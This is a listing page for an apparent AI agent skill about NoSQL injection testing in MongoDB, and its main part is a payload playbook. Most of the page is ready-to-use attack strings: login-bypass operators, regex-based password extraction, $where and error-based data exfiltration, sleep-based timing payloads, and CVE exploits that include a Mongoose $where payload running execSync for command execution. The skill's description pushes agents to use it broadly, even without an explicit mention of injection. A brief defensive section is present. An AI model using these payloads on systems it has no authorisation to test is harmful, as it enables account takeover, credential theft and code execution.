# Nosql Injection

> How to test for NoSQL injection vulnerabilities in MongoDB and other NoSQL databases. Use this skill whenever the user mentions NoSQL injection, MongoDB injection, database injection testing, authentication bypass, or wants to test for NoSQL vulnerabilities in web applications. Make sure to use this skill for any security testing involving MongoDB, Mongoose, or NoSQL databases, even if the user doesn't explicitly mention 'injection'.

- Skill: `abelrguezr/nosql-injection` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nosql-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nosql-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nosql-injection

---


# NoSQL Injection Testing

A comprehensive guide for testing NoSQL injection vulnerabilities in MongoDB and similar databases.

## Overview

NoSQL injection occurs when user input is not properly sanitized before being used in database queries. Unlike SQL injection, NoSQL injection exploits the document-based query structure of databases like MongoDB.

## Common Operators

MongoDB uses special operators that can be exploited:

| Operator | Description | Example |
|----------|-------------|---------|
| `$ne` | Not equals | `username[$ne]=1` |
| `$eq` | Equals | `username[$eq]=admin` |
| `$regex` | Regular expression | `username[$regex]=^adm` |
| `$gt` | Greater than | `pass[$gt]=s` |
| `$lt` | Less than | `pass[$lt]=s` |
| `$nin` | Not in array | `username[$nin][admin]=admin` |
| `$where` | JavaScript execution | `{ $where: "this.credits == this.debits" }` |
| `$exists` | Field exists | `username[$exists]=true` |

## Authentication Bypass

### URL Parameters

```bash
# Using $ne operator
username[$ne]=toto&password[$ne]=toto

# Using regex to match anything
username[$regex]=.*&password[$regex]=.*

# Using $exists
username[$exists]=true&password[$exists]=true
```

### JSON Body

```json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
```

### SQL-style Injection in MongoDB

```javascript
// Normal SQL injection
' or 1=1-- -

// MongoDB equivalent
' || 1==1//
' || 1==1%00
admin' || 'a'=='a
```

## Data Extraction Techniques

### Extract Password Length

```bash
# Test if password length equals 1
username[$ne]=toto&password[$regex]=.{1}

# Test if password length equals 3
username[$ne]=toto&password[$regex]=.{3}
```

### Extract Password Characters

```bash
# If length is 3, test each character
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
```

### JSON-based Extraction

```json
{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp"}}
```

### Using $where for Field Matching

```
/?search=admin' && this.password%00 --> Check if password field exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> Start matching
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 --> Found
```

## Advanced Techniques

### Cross-Collection Data Access

Use `$lookup` to read from different collections (requires `aggregate()`):

```json
[
  {
    "$lookup": {
      "from": "users",
      "as": "resultado",
      "pipeline": [
        {
          "$match": {
            "password": {"$regex": "^.*"}
          }
        }
      ]
    }
  }
]
```

### Error-Based Injection

Exfiltrate documents via JavaScript errors:

```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```

### PHP Arbitrary Function Execution

Using MongoLite's `$func` operator:

```python
"user":{"$func": "var_dump"}
```

## Common Payloads

```javascript
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;
|| 1==1
|| 1==1//
|| 1==1%00
{ $gt: '' }
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```

## Recent CVEs (2023-2025)

### CVE-2023-28359 - Rocket.Chat Blind NoSQLi

Unauthenticated blind NoSQL injection in Rocket.Chat ≤ 6.0.0 via `listEmojiCustom` Meteor method.

**Exploit:**
```json
{"$where":"sleep(2000)||true"}
```

### CVE-2024-53900 & CVE-2025-23061 - Mongoose RCE

Mongoose `populate().match` with `$where` executes JavaScript in Node.js.

**Exploit:**
```javascript
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find().populate({ path: 'author', match: req.query.author });
```

### GraphQL → MongoDB Filter Confusion

```graphql
query users($f:UserFilter){
  users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }
```

## Defensive Measures

1. **Strip dangerous keys**: Use `express-mongo-sanitize`, `mongo-sanitize`, or Mongoose `sanitizeFilter: true`
2. **Disable server-side JavaScript**: `--noscripting` flag (default in MongoDB v7.0+)
3. **Avoid `$where`**: Prefer `$expr` and aggregation builders
4. **Validate data types**: Use Joi/Ajv, disallow arrays where scalars expected
5. **GraphQL**: Translate filter arguments through allow-list; never spread untrusted objects

## Automation Scripts

Use the bundled scripts for automated testing:

- `scripts/nosql-bruteforce.py` - Extract passwords character by character
- `scripts/nosql-username-enumeration.py` - Enumerate usernames and passwords

See the scripts directory for usage instructions.

## Testing Workflow

1. **Identify the target**: Find login forms, search parameters, or API endpoints
2. **Test for vulnerability**: Try basic `$ne` or `$regex` payloads
3. **Determine injection point**: URL params, JSON body, GraphQL variables
4. **Extract data**: Use regex-based character extraction
5. **Document findings**: Record payloads, endpoints, and impact

## References

- [PayloadsAllTheThings - NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [MongoDB Documentation](https://www.mongodb.com/docs/manual/reference/operator/)
- [NoSQL Injection Primer](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [SensePost - NoSQL Error-Based Injection](https://sensepost.com/blog/2025/nosql-error-based-injection/)

